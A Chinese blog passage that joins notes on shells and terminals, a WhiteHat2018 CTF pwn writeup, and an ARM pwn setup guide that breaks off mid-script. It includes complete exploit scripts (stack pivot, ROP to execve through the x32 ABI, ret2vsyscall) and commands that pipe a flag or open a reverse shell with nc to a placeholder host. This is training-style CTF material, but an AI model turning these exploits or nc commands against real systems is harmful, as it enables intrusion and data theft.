后来，在 tty 子系统中衍生出了 pty，ptmx，pts 等概念，这些概念留到第三篇

什么是 shell

先看这张图，shell 位于最外层，像一层壳（shell）一样供用户与 kernel 沟通，让 kernel 完成用户交于的任务

实际上 shell 知识提供了用户操作系统的入口，一般是通过 shell 去调用其他的应用程序来达成目的。

如我们运行 cat test 时，shell 会运行 cat 这个程序，cat 再去调用内核提供的 open，read，write 等系统调用，虽然 shell 并没有直接与内核进行交互，但广义上我们可以认为 shell 提供了用户与内核交互的界面

shell 可以分为命令行 shell 和图形 shell 两类。命令行 shell 提供 CLI 界面，图形 shell 提供 GUI 界面（如 windows 的 explorer.exe，接受用户的指令，与内核完成交互）

常用的命令行 shell 有：

*nix:
- sh(Bourne shell)，最经典的 shell
- bash(Bourne-Again shell)，绝大多数 linux 发行版的默认 shell
- zsh，fish 等专注于用户友好体验的 shell
Windows 下的 cmd.exe 与 powershell

shell 与终端的分工

总结一下:

终端从用户接受输入（通过键盘，鼠标等输入设备），把输入交给 shell，然后把 shell 返回的结果通过显示器等方法展示给用户。
shell 从终端接受用户的输入，解析后交给操作系统内核进行处理，并把结果返回给终端

References:

https://superuser.com/questions/144666/what-is-the-difference-between-shell-console-and-terminal

https://www.zhihu.com/question/65280843

https://blessing.studio/the-difference-between-cli-terminal-shell-tty/

https://stackoverflow.com/questions/21014344/terminal-or-console-or-shell-or-command-prompt

https://zh.wikipedia.org/wiki/終端

https://en.wikipedia.org/wiki/Terminal_emulator

WhiteHat2018 Pwn Writeup

Sat, 25 Aug 2018 20:19:16 +0800

越南的一场比赛, 比赛当天陪女朋友理发, 在理发店看了 pwn01, 刚有思路, 电脑没电了, 第二天接着做时发现比赛结束了. 比赛结束后参考 writeup 复现了三道 pwn, 收获不少, 这里记录一下.

Pwn01

题目链接

题目分析

附件给了很多文件, 根据 run.sh 和 ptrace_64.cpp 大概看出程序禁用了 poll, clone, fork, vfork, execve, kill, tkill, tgkill 和 write 等系统调用以及过滤了 /home/gift/flag.txt 字符串. 禁用了 execve 说明无论使用 system 还是 one_gadget 都不能 get shell, 过滤了 /home/gift/flag.txt 防止使用 orw 的方法直接读取 flag, 当然这两点都是可以绕过的

再回过头看 giftshop, 程序没有开启 canary 保护(checksec 可能会有误报, 最准确的方法是查看 __stack_chk_fail 附近的汇编). 经过分析, 程序中存在如下的结构体

WhiteHat2018_pwn01 [master●●] cat struct
struct GOOD
{
	char name[30];
	char receiver[34];
	char *item;
	char *address;
	char *a_letter;
	unsigned int price;
}

用 IDA 观察程序流程, 发现程序刚进入时就打印了一个全局变量的地址, 这样 PIE 保护也被绕过了

1
2

  puts("OK First, here is a giftcard, it may help you in next time you come here !");
  printf("%p\n", &loyal_flag);                  // bypass PIE

继续分析, 程序有 order, show_order, delete_order, loyal 等四个功能, 而查看 order 功能时, 就发现了明显的栈溢出以及栈溢出引起的数组越界的漏洞

    else
    {
      setbuf(stdin, 0LL);
      puts("Enter your address: ");
      fgets(good_list[i].address, 0x200, stdin);
      setbuf(stdin, 0LL);
      puts("A letter for her/him:");
      filter(s);
      fgets(s, 230, stdin);                     // bof bug
      setbuf(stdin, 0LL);
      good_list[i].a_letter = (char *)malloc(0x1EuLL);
      strncpy(good_list[i].a_letter, s, 0x1EuLL);
    }

漏洞利用

Step 1:

看一下栈的布局发现能完整的覆盖到 order 的 rbp 以及返回地址, 溢出的长度不足以构造长的 ropchain, 考虑使用 stack-pivot 将栈转移到 bss 段(绕过了 PIE 保护, bss 段的地址相当于是已知的), 构造以下的栈结构

+-----------------+
|                 |
|padding          |
|                 |
+-----------------+
|elf.bss() + 0x500| <- rbp
+-----------------+
|fgets_gadgets    | <- ret addr
+-----------------+

其中, fgets_gedgets 为

.text:00000000000018B9                 mov     rdx, cs:stdin   ; stream
.text:00000000000018C0                 lea     rax, [rbp+s]
.text:00000000000018C7                 mov     esi, 0E6h       ; n
.text:00000000000018CC                 mov     rdi, rax        ; s
.text:00000000000018CF                 call    _fgets

覆盖返回地址为 elf.address + 0x18B9 时, order 函数将返回到这里, 从 stdin 读取最多 0xE6 个数据并保存到 rbp+s 即 rbp - 0xD0 的位置, 上图的栈结构中, 即会把输入保存到 elf.bss() + 0x500 - 0xD0 上; (不建议使用 bss 开头的地址, 因为 bss 的开头存储了stdin, stdout, stderr 等重要 IO_file 结构体, 随意覆盖可能会在 io 上出现问题)

同时需要注意的是需要给 i 一个合理的值, 否则在执行

`1`	`good_list[i].a_letter = (char *)malloc(0x1EuLL);`

一句时将会因为地址不可写程序发生 crash

Step 2:

这样通过一次 rop, 我们就能在 bss 段这一个固定的地址上构造一段相对较长的利用链. 关键是要构造什么样的利用链, 程序已经过滤了 execve 这个系统调用, 用常规方法就不能 get shell 了, 但实际上这个过滤还是很弱的, 我们有很多方法可以利用, 比如使用 execveat 或者使用 x32 abi 这个特性

Since 3.4 the Linux kernel has had a feature called the X32 ABI; 64bit syscalls with 32bit pointers.

'''
WhiteHat2018_pwn01 [master●●] grep -i execve /usr/include/asm/unistd_x32.h
#define __NR_execve (__X32_SYSCALL_BIT + 520)
#define __NR_execveat (__X32_SYSCALL_BIT + 545)
'''

简单的说, 就是可以用 0x40000000 加上一个系统调用号的方式进行系统调用, 比如使用 0x40000000 + 520 的方式实现 execve 这个系统调用, 这样就实现了绕过黑名单, 因此可以构造如下的 ropchain 来 get shell

    prdi = 0x000000000000225f + elf.address
    prsi = 0x0000000000002261 + elf.address
    prdx = 0x0000000000002265 + elf.address
    prax = 0x0000000000002267 + elf.address
    syscall = 0x0000000000002254 + elf.address
    binsh = elf.bss() + 0x500 - 0xd0
    rop = flat(["/bin/sh\0", prax, 0x40000000 + 520, prdi, binsh, prsi, 0, prdx, 0, syscall])
	# 刚开始还很奇怪这个程序中有这么多好用的 gadget, 后来看了别人 writeup 才知道这是出题方故意加进去的- -

Step 3:

那么这时候就只差一步了: 控制 rip 到我们构造的 ropchian 就能拿到 shell 了, 这一步不难做到, 第二次 fgets 时, 输入从 rbp - 0xE0 开始, 我们依然能控制 rbp, 并且程序中也可以找到 leave; ret 这个 gadget, 这样再进行一次栈迁移, 控制返回地址为我们输入的 ropchain 的位置即可

exp

最终的 exp 如下:

WhiteHat2018_pwn01 [master●●] cat exp.py 
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
from time import sleep
import roputils as rp
from ctypes import c_uint64
import os
import sys

elfPath = "./giftshop"
libcPath = ""
remoteAddr = "pwn01.grandprix.whitehatvn.com"
remotePort = 26129

context.binary = elfPath
elf = context.binary
if sys.argv[1] == "l":
    io = process(elfPath)
    libc = elf.libc

else:
    if sys.argv[1] == "d":
        io = process(elfPath, env = {"LD_PRELOAD": libcPath})
    else:
        io = remote(remoteAddr, remotePort)
        context.log_level = "info"
    if libcPath:
        libc = ELF(libcPath)

context.log_level = "debug"
context.terminal = ["deepin-terminal", "-x", "sh", "-c"]
success = lambda name, value: log.success("{} -> {:#x}".format(name, value))

def DEBUG(bps = []):
    cmd = "set follow-fork-mode parent\n"
    base = elf.address
    cmd += ''.join(['b *{:#x}\n'.format(b + base) for b in bps])
    cmd += "c"

    raw_input("DEBUG: ")
    gdb.attach(io, cmd)

def bof(letter):
    assert len(letter) < 240
    io.sendlineafter(":\n", "1")
    io.sendlineafter("y/n\n", "n")
    io.sendlineafter("txt\n", "1")
    io.sendline("6")
    io.sendlineafter("y/n\n", "y")
    io.sendlineafter(": \n", "address")
    io.sendlineafter(":\n", letter)

if __name__ == "__main__":
    io.recvuntil(" !\n")
    elf.address = int(io.recvuntil("\n", drop = True), 16) - 0x2030D8
    success("elf", elf.address)
    io.sendlineafter("??\n", "0000")
    io.sendlineafter(": \n", "1111")

    #  DEBUG([0x19BC])
    fgets_gadgets = 0x18B9 + elf.address
    bof(flat(['\0' * 0xd0, elf.bss() + 0x500, fgets_gadgets]))

    leaveret = 0x0000000000001176 + elf.address
    prdi = 0x000000000000225f + elf.address
    prsi = 0x0000000000002261 + elf.address
    prdx = 0x0000000000002265 + elf.address
    prax = 0x0000000000002267 + elf.address
    syscall = 0x0000000000002254 + elf.address
    binsh = elf.bss() + 0x500 - 0xd0
    rop = flat(["/bin/sh\0", prax, 0x40000000 + 520, prdi, binsh, prsi, 0, prdx, 0, syscall])
    payload = rop.ljust(0xd0, '\0')
    payload += p64(elf.bss() + 0x500 - 0xd0)
    payload += p64(leaveret)
    assert len(payload) < 240
    io.sendline(payload)
    
    io.interactive()

Pwn02

tcache uaf off-by-one null

Pwn03

这道题挺有意思, 程序给了一个二进制文件和共享库, 下载文件

题目分析

程序开启了所有保护, 并且有意思的是给的 libc 也是 patch 过得, 找一下 BuildID 相同的 libc, 查看 patch 的内容

WhiteHat2018_pwn03 [master●] file ~/libc-database/db/libc6_2.27-3ubuntu1_amd64.so 
/home/m4x/libc-database/db/libc6_2.27-3ubuntu1_amd64.so: ELF 64-bit LSB pie executable x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=b417c0ba7cc5cf06d1d1bed6652cedb9253c60d0, for GNU/Linux 3.2.0, stripped
WhiteHat2018_pwn03 [master●] file ./libc-2.27.so 
./libc-2.27.so: ELF 64-bit LSB pie executable x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=b417c0ba7cc5cf06d1d1bed6652cedb9253c60d0, for GNU/Linux 3.2.0, stripped
WhiteHat2018_pwn03 [master●] diff libc-2.27.so ~/libc-database/db/libc6_2.27-3ubuntu1_amd64.so
二进制文件 libc-2.27.so 和 /home/m4x/libc-database/db/libc6_2.27-3ubuntu1_amd64.so 不同

这里我用的是 hexdiff

只有这一处是不同的, IDA 中可以看出此处的功能相当于 add rsi 127; jmp system

.text:000000000004F43A                 add     rdi, 7Fh
.text:000000000004F43E                 jmp     short loc_4F45B

.text:000000000004F45B loc_4F45B:                              ; CODE XREF: sub_4F360+DE↑j
.text:000000000004F45B                 call    sub_4EEB0
.text:000000000004F460                 test    eax, eax
.text:000000000004F462                 setz    al
.text:000000000004F465                 add     rsp, 8
.text:000000000004F469                 movzx   eax, al
.text:000000000004F46C                 retn

__int64 __fastcall system(__int64 a1)
{
  __int64 result; // rax

  if ( a1 )
    result = sub_4EEB0();
  else
    result = (unsigned int)sub_4EEB0() == 0;
  return result;
}

暂时不知道这段 gadget 有什么用, 先看二进制程序, 发现在 echo 函数中存在漏洞

void echo()
{
  int v0; // ST0C_4
  int v1; // [rsp+Ch] [rbp-E4h]
  char buf[216]; // [rsp+10h] [rbp-E0h]
  unsigned __int64 v3; // [rsp+E8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  v0 = v1 + 32;
  read(0, buf, v0);
  printf("Echo machine: ", buf);
  write(1, buf, v0);
  close(0);
  close(1);
  strcpy(buf, deleteyourevilstring);
}

根据调试, read 时的长度 v0 是根据我们的输入决定的, 那么这里就存在一个栈溢出的漏洞, 有意思的是这道题的 stdin 和 stdout 也被关闭了, 根据现有的情况, 基本上溢出也只能利用一次了

.text:0000000000000EFE                 mov     rax, [rbp+var_8]
.text:0000000000000F02                 xor     rax, fs:28h
.text:0000000000000F0B                 jmp     short locret_F12
.text:0000000000000F0D ; ---------------------------------------------------------------------------
.text:0000000000000F0D                 call    ___stack_chk_fail
.text:0000000000000F12 ; ---------------------------------------------------------------------------
.text:0000000000000F12
.text:0000000000000F12 locret_F12:                             ; CODE XREF: echo+A4↑j
.text:0000000000000F12                 leave
.text:0000000000000F13                 retn

查看 call __stack_chk_fail 附近的汇编, 发现虽然 checksec 检测有 canary, 但实际没起作用, 这样 canary 保护也就绕过了

Step 1:

我们先看一下在 echo 函数 ret 前寄存器和栈上的值

pwndbg> 
0x000055f1e44c0f13 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────
 RAX  0xa54266585221bb65
 RBX  0x0
 RCX  0x7ff52b699910 ◂— mov    rdx, qword ptr [rsi]
 RDX  0x676e6972747320
 RDI  0x7ffd0eed2220 ◂— 0x676e6972747320 /* u' string' */
 RSI  0x55f1e46c2020 ◂— 0x676e6972747320 /* u' string' */
 R8   0xe
 R9   0x0
 R10  0x8
 R11  0x7ff52b7923c0 ◂— loopne 0x7ff52b792436
 R12  0x55f1e44c0b50 ◂— xor    ebp, ebp
 R13  0x7ffd0eed24c0 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x6361616863616167 ('gaachaac')
 RSP  0x7ffd0eed22f8 —▸ 0x55f1e44c0f69 ◂— nop    
 RIP  0x55f1e44c0f13 ◂— ret    
───────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────
   0x55f1e44c0efd    nop    
   0x55f1e44c0efe    mov    rax, qword ptr [rbp - 8]
   0x55f1e44c0f02    xor    rax, qword ptr fs:[0x28]
   0x55f1e44c0f0b    jmp    0x55f1e44c0f12
    ↓
   0x55f1e44c0f12    leave  
 ► 0x55f1e44c0f13    ret    <0x55f1e44c0f69>
    ↓
   0x55f1e44c0f69    nop    
   0x55f1e44c0f6a    mov    rax, qword ptr [rbp - 8]
   0x55f1e44c0f6e    xor    rax, qword ptr fs:[0x28]
   0x55f1e44c0f77    je     0x55f1e44c0f7e
    ↓
   0x55f1e44c0f7e    leave  
────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────
00:0000│ rsp  0x7ffd0eed22f8 —▸ 0x55f1e44c0f69 ◂— nop    
01:0008│      0x7ffd0eed2300 ◂— 0x31 /* u'1' */
02:0010│      0x7ffd0eed2308 ◂— 0x0
... ↓
pwndbg> stack 25
00:0000│ rsp  0x7ffd0eed22f8 —▸ 0x55f1e44c0f69 ◂— nop    
01:0008│      0x7ffd0eed2300 ◂— 0x31 /* u'1' */
02:0010│      0x7ffd0eed2308 ◂— 0x0
... ↓
0e:0070│      0x7ffd0eed2368 ◂— 0x7ff500000000
0f:0078│      0x7ffd0eed2370 —▸ 0x55f1e44c1268 ◂— 0x63616d206f686345 ('Echo mac')
10:0080│      0x7ffd0eed2378 ◂— 0xc623073e3140da00
11:0088│      0x7ffd0eed2380 ◂— 0x0
12:0090│      0x7ffd0eed2388 —▸ 0x7ffd0eed23d0 —▸ 0x7ffd0eed23e0 —▸ 0x55f1e44c1060 ◂— push   r15
13:0098│      0x7ffd0eed2390 —▸ 0x55f1e44c0b50 ◂— xor    ebp, ebp
14:00a0│      0x7ffd0eed2398 —▸ 0x7ff52b632460 (system+32) ◂— test   eax, eax
15:00a8│      0x7ffd0eed23a0 —▸ 0x7ffd0eed24c0 ◂— 0x1
16:00b0│      0x7ffd0eed23a8 —▸ 0x55f1e44c0fef ◂— nop    
17:00b8│      0x7ffd0eed23b0 ◂— 0x0
18:00c0│      0x7ffd0eed23b8 ◂— 0x304e000000000000
pwndbg> telescope $rdi
00:0000│ rdi  0x7ffd0eed2220 ◂— 0x676e6972747320 /* u' string' */
01:0008│      0x7ffd0eed2228 ◂— 0x6161616861616167 ('gaaahaaa')
02:0010│      0x7ffd0eed2230 ◂— 0x6161616a61616169 ('iaaajaaa')
03:0018│      0x7ffd0eed2238 ◂— 0x6161616c6161616b ('kaaalaaa')
04:0020│      0x7ffd0eed2240 ◂— 0x6161616e6161616d ('maaanaaa')
05:0028│      0x7ffd0eed2248 ◂— 0x616161706161616f ('oaaapaaa')
06:0030│      0x7ffd0eed2250 ◂— 0x6161617261616171 ('qaaaraaa')
07:0038│      0x7ffd0eed2258 ◂— 0x6161617461616173 ('saaataaa')
pwndbg>

有两点值得注意:

rdi + 8 到之后的很长一段都是可控的
栈上有一个 system + 32 的地址这样再结合之前 libc 上的 gadget add rdi, 127; jmp system, 就可以通过 partial overwrite 改写 system + 32 的低位为 gadget 的地址(调试验证此时只需改写最低位即可, 是可行的), 这样如果能控制 rip 为此 gadget 的地址, 就相当于控制了 system 的参数, 有了一次执行命令的机会

Step 2:

但问题出在 system + 32 在 rsp + 0xa0 这个位置, 我们需要控制 echo 函数返回到这里, 这个也好办, 用 ret2vsyscall 可以达到这个目的

TLDR: 可以把 vsyscall 理解为一段固定地址和内容的 gadget, 用这段 gadget 填满栈, 可以实现 slide 的功能

vsyscall 的地址可以直接用 vmmap 找到

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x55ef6a521000     0x55ef6a523000 r-xp     2000 0      /home/m4x/pwn_repo/WhiteHat2018_pwn03/onehit
    0x55ef6a722000     0x55ef6a723000 r--p     1000 1000   /home/m4x/pwn_repo/WhiteHat2018_pwn03/onehit
    0x55ef6a723000     0x55ef6a724000 rw-p     1000 2000   /home/m4x/pwn_repo/WhiteHat2018_pwn03/onehit
    0x55ef6b8f7000     0x55ef6b918000 rw-p    21000 0      [heap]
    0x7fe121ebd000     0x7fe1220a4000 r-xp   1e7000 0      /home/m4x/pwn_repo/WhiteHat2018_pwn03/libc-2.27.so
    0x7fe1220a4000     0x7fe1222a4000 ---p   200000 1e7000 /home/m4x/pwn_repo/WhiteHat2018_pwn03/libc-2.27.so
    0x7fe1222a4000     0x7fe1222a8000 r--p     4000 1e7000 /home/m4x/pwn_repo/WhiteHat2018_pwn03/libc-2.27.so
    0x7fe1222a8000     0x7fe1222aa000 rw-p     2000 1eb000 /home/m4x/pwn_repo/WhiteHat2018_pwn03/libc-2.27.so
    0x7fe1222aa000     0x7fe1222ae000 rw-p     4000 0      
    0x7fe1222ae000     0x7fe1222d3000 r-xp    25000 0      /lib/x86_64-linux-gnu/ld-2.27.so
    0x7fe1224d0000     0x7fe1224d2000 rw-p     2000 0      
    0x7fe1224d2000     0x7fe1224d3000 r--p     1000 24000  /lib/x86_64-linux-gnu/ld-2.27.so
    0x7fe1224d3000     0x7fe1224d4000 rw-p     1000 25000  /lib/x86_64-linux-gnu/ld-2.27.so
    0x7fe1224d4000     0x7fe1224d5000 rw-p     1000 0      
    0x7ffc925ca000     0x7ffc925eb000 rw-p    21000 0      [stack]
    0x7ffc925ec000     0x7ffc925ef000 r--p     3000 0      [vvar]
    0x7ffc925ef000     0x7ffc925f1000 r-xp     2000 0      [vdso]
0xffffffffff600000 0xffffffffff601000 r-xp     1000 0      [vsyscall]
pwndbg> x/5i 0xffffffffff600000
   0xffffffffff600000:	mov    rax,0x60
   0xffffffffff600007:	syscall 
   0xffffffffff600009:	ret    
   0xffffffffff60000a:	int3   
   0xffffffffff60000b:	int3

这样通过 ret2vsyscall + partial overwrite, 我们就能控制 system 执行一次指令了

Step 3:

还要注意的是, 程序的 stdout 被关掉了, 这个和 0ctf2018 的 babystack 类似, 可以使用 cat flag| nc ip port 的方式在公网 vps 上监听到(nc -l -p port)

或者使用 nc -e ip port 来建立一个反向 shell, 原理可以参考

https://xz.aliyun.com/t/2548

https://xz.aliyun.com/t/2549

讲的很清楚

但还有一个更简单的方法，使用 sh flag; 利用报错来拿到 flag

exp

最终的 exp 如下, 其中的一些细节调试一遍会更加清楚

WhiteHat2018_pwn03 [master●●] cat solve.py 
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
from hashlib import sha512
import re
context.binary = "./onehit"
context.log_level = "debug"
context.terminal = ["deepin-terminal", "-x", "sh", "-c"]

io = process("./onehit", env = {"LD_PRELOAD": "./libc-2.27.so"})
#  io = remote("localhost", 9999)

def DEBUG(bps = []):
    cmd = "set follow-fork-mode parent\n"
    base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16)
    cmd += ''.join(['b *{:#x}\n'.format(b + base) for b in bps])
    cmd += "c"

    raw_input("DEBUG: ")
    gdb.attach(io, cmd)


def get_interger():
    prefix, head =  re.findall('"([A-Z]+)".*0x([0-9a-f]+)', io.recvuntil("The interger"))[0]
    #  print prefix, head
    for i in range(0, 0x1fffff)[::-1]:
        if sha512(prefix + str(i)).hexdigest().startswith(head):
            return i
    else:
        log.error("Not Found!!!")

if __name__ == "__main__":
    io.sendafter(" = ", str(get_interger()).ljust(0x100, '\x7f'))
    io.sendafter("al?\n", "N0\0")
    #  DEBUG([0xEA0, 0xE7F])
    io.sendafter("/bin/sh\n", "1\0")

    '''
    .text:000000000004F43A                 add     rdi, 7Fh
    .text:000000000004F43E                 jmp     short loc_4F45B
    '''
    vsyscall = 0xffffffffff600000
    #  cmd = "cat flag| nc ip port;"
    #  cmd = "nc -e /bin/sh ip port;"
    cmd = "sh flag;"
    payload = '\0' * (0x7f + 0x10) + cmd 
    payload = payload.ljust(0xE0 + 8, '\0') + p64(vsyscall) * 20 + '\x3a'

    io.sendafter("available\n", payload)
    #  pause()

    io.interactive()
    io.close()

如何 pwn 掉一个 arm 的binary

Tue, 31 Jul 2018 20:00:54 +0800

这篇文章将以几道 CTF 题目为例讲解 pwn arm binary的一些问题

环境搭建

环境的搭建过程我之前写过, 这里偷个懒直接全文粘贴过来

原文链接M4x@10.0.0.55 本文中用于展示的binary分别来自Jarvis OJ上pwn的add，typo两道题

写这篇教程的主要目的是因为最近想搞其他系统架构的 pwn，因此第一步就是搭建环境了，网上搜索了一波，发现很多教程都是需要树莓派，芯片等硬件，然后自己编译 gdb，后来实践的过程中发现可以很简单地使用 qemu 实现运行和调试异架构 binary，因此在这里分享一下我的方法。

主机信息：

以一台新装的 deepin 虚拟机(基于 debian)为例，详细信息如下：

预备环境安装：

安装 git，gdb 和 gdb-multiarch

1
2

$ sudo apt-get update
$ sudo apt-get install git gdb gdb-multiarch

安装 gdb 的插件 pwndbg（或者 gef 等支持多架构的插件）

1
2
3

$ git clone https://github.com/pwndbg/pwndbg
$ cd pwndbg
$ ./setup.sh

装好之后如图：

安装pwntools，不必要，但绝对是写exp的神器
1

$ sudo pip install pwntools

安装qemu：

1
2

$ sudo apt-get install qemu-user
$ sudo apt-get install qemu-use-binfmt qemu-user-binfmt:i386

通过 qemu 模拟 arm/mips 环境，进而进行调试

安装共享库：

此时已经可以运行静态链接的 arm/mips binary 了，如下图：

但还不能运行动态链接的 binary，如下图：

这就需要我们安装对应架构的共享库，可以通过如下命令搜索：

`1`	`$ apt search "libc6-" \| grep "ARCH"`

我们只需安装类似 libc6-ARCH-cross 形式的即可

运行：

静态链接的 binary 直接运行即可，会自动调用对应架构的 qemu；

动态链接的 bianry 需要用对应的 qemu 同时指定共享库路径，如下图32位的动态链接 mips binary

使用 -L 指定共享库：

`1`	`$ qemu-mipsel -L /usr/mipsel-linux-gnu/ ./add`

调试：

可以使用 qemu 的 -g 指定端口

`1`	`$ qemu-mipsel -g 1234 -L /usr/mipsel-linux-gnu/ ./add`

然后使用gdb-multiarch进行调试，先指定架构，然后使用remote功能

1
2

pwndbg> set architecture mips (但大多数情况下这一步可以省略, 似乎 pwndbg 能自动识别架构)
pwndbg> target remote localhost:1234

这样我们就能进行调试了

效果图：

同样，如果想要运行或者调试其他架构的 binary，只需安装其他架构的 qemu 和共享库即可

reference：

https://docs.pwntools.com/en/stable/qemu.html

https://reverseengineering.stackexchange.com/questions/8829/cross-debugging-for-arm-mips-elf-with-qemu-toolchain

运行和调试

安装好 qemu 之后, 就可以在本地运行和调试 binary 了, 我写了一个模板:

from pwn import *
import sys
context.binary = "your_binary"

if sys.argv[1] == "r":
    io = remote("remote_addr", remote_port)
elif sys.argv[1] == "l":
    io = process(["qemu-arm", "-L", "/usr/arm-linux-gnueabi", "your_binary"])
else:
    io = process(["qemu-arm", "-g", "1234", "-L", "/usr/arm-linux-gnueabi", "your_binary"])

elf = ELF("your_binary")
libc = ELF("/usr/arm-linux-gnueabi/lib/libc.so.6")
context.log_level = "debug"

说明一下:

根据 pwntools 的官方文档, 使用 context.binary 指定 binary 时, 就可以不用指定 context.arch, context.os 等参数了

The recommended method is to use context.binary to automagically set all of the appropriate values.

python exp.py r 打远程
python exp.py l 本地测试
python exp.py d/a/b/… 用于本地调试, exp 启动后新启一个终端, 使用 gdb-multiarch 就可以通过 target remote localhost:1234 来进行调试了
这里只写了使用 arm-linux-gnueabi 的情况, 使用 arm-linux-gnueabihf 的话更改参数即可, 关于二者的区别可以参考这篇文章

arm 下的函数调用约定

arm 的参数 1 ~ 4 分别保存到 r0 ~ r3 寄存器中, 剩下的参数从右向左依次入栈, 被调用者实现栈平衡, 返回值存放在 r0 中

一图胜千言:

by the way, arm 的 pc 指针相当于 eip/rip, b/bl 等指令实现了跳转

接下来以几道题目为例进行分析

Jarvis oj - typo

题目和脚本链接

静态分析

jarvisOJ_typo [master●] check typo
typo: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=211877f58b5a0e8774b8a3a72c83890f8cd38e63, stripped
[*] '/home/m4x/pwn_repo/jarvisOJ_typo/typo'
    Arch:     arm-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE

32 位 arm 静态链接的程序, strip 过了, 并且没有开栈溢出保护, 因为是静态链接, 所以 binary 中一定会有 system 函数和 /bin/sh 字符串, 如果能找到溢出点, 很容易就能用 rop 来解决了

jarvisOJ_typo [master●●] ./typo
Let's Do Some Typing Exercise~
Press Enter to get start;
Input ~ if you want to quit

------Begin------
inquiry
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
E.r.r.o.r.

odour
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
qemu-arm: /build/qemu-c9y6mQ/qemu-2.8+dfsg/translate-all.c:175: tb_lock: Assertion `!have_tb_lock' failed.
qemu-arm: /build/qemu-c9y6mQ/qemu-2.8+dfsg/translate-all.c:175: tb_lock: Assertion `!have_tb_lock' failed.
[1]    3426 segmentation fault  ./typo

思路

运行一下发现是一个打字游戏, 很容易就找到了溢出点, 利用 rop chain 构造 system("/bin/sh”) 即可, /bin/sh 的地址比较好找, 只要找到 system 的地址, 这个题目就很容易解决了

binary 去除了符号表信息, 并不是太容易看出来函数功能, 幸运的是通过在 IDA 中查看 /bin/sh 的交叉引用, 我们能找到调用 system 的函数(sub_10BA8 函数中出现了 /bin/sh, 读过 system 源码的同学可以发现该函数与 system 的流程类似, 于是大胆猜测 sun_10BA8 即为 system, 后来事实证明确实是)

char *__fastcall sub_110B4(int a1)
{
  char *result; // r0

  if ( a1 )
    result = sub_10BA8(a1);                     // system(a1)
  else
    result = (char *)(sub_10BA8((int)"exit 0") == 0);
  return result;
}

后来发现，使用 rizzo 可以恢复出 system 的符号表，这样寻找 system 的地址就很容易了

ROP

这样我们只需要找一个能控制 r0 的 gadget 寄存器就行了

jarvisOJ_typo [master●●] ROPgadget --binary ./typo --only "pop|ret" | grep r0
0x00020904 : pop {r0, r4, pc}
jarvisOJ_typo [master●●] ROPgadget --binary ./typo --string /bin/sh          
Strings information
============================================================
0x0006c384 : /bin/sh

于是可以构造如下的栈结构

+------------+
|            |
|   padding  |
|            |
|            |
+------------+
| gadget_addr| <- 0x20904
+------------+
| binsh_addr | <- 0x6c384
+------------+
| junk_data  |
+------------+
| system_addr| <- 0x100B4
+------------+

这样在程序返回时, 经过 rop 就会实现 r0 -> “/bin/sh”, r4 -> junk_data, pc = system_addr 的效果, 进而执行 system("/bin/sh”) 来 get shell

此时还有一个问题, 不知道 padding 的长度, 可以通过 pwntools 的 cyclic/cyclic -l 来找长度

pwndbg> cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
pwndbg> c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x62616164 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────
 R0   0x0
 R1   0xfffef024 ◂— 0x61616161 ('aaaa')
 R2   0x7e
 R3   0x0
 R4   0x62616162 ('baab')
 R5   0x0
 R6   0x0
 R7   0x0
 R8   0x0
 R9   0xa5ec ◂— push   {r3, r4, r5, r6, r7, r8, sb, lr}
 R10  0xa68c ◂— push   {r3, r4, r5, lr}
 R11  0x62616163 ('caab')
 R12  0x0
 SP   0xfffef098 ◂— 0x62616165 ('eaab')
 PC   0x62616164 ('daab')
───────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────
Invalid address 0x62616164










────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────
00:0000│ sp  0xfffef098 ◂— 0x62616165 ('eaab')
01:0004│     0xfffef09c ◂— 0x62616166 ('faab')
02:0008│     0xfffef0a0 ◂— 0x62616167 ('gaab')
03:000c│     0xfffef0a4 ◂— 0x62616168 ('haab')
04:0010│     0xfffef0a8 ◂— 0x62616169 ('iaab')
05:0014│     0xfffef0ac ◂— 0x6261616a ('jaab')
06:0018│     0xfffef0b0 ◂— 0x6261616b ('kaab')
07:001c│     0xfffef0b4 ◂— 0x6261616c ('laab')
Program received signal SIGSEGV
pwndbg> cyclic -l 0x62616164
112

或者可以直接爆破 padding 长度

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
import sys
import pdb
#  context.log_level = "debug"

#  for i in range(100, 150)[::-1]:
for i in range(112, 113):
    if sys.argv[1] == "l":
        io = process("./typo", timeout = 2)
    elif sys.argv[1] == "d":
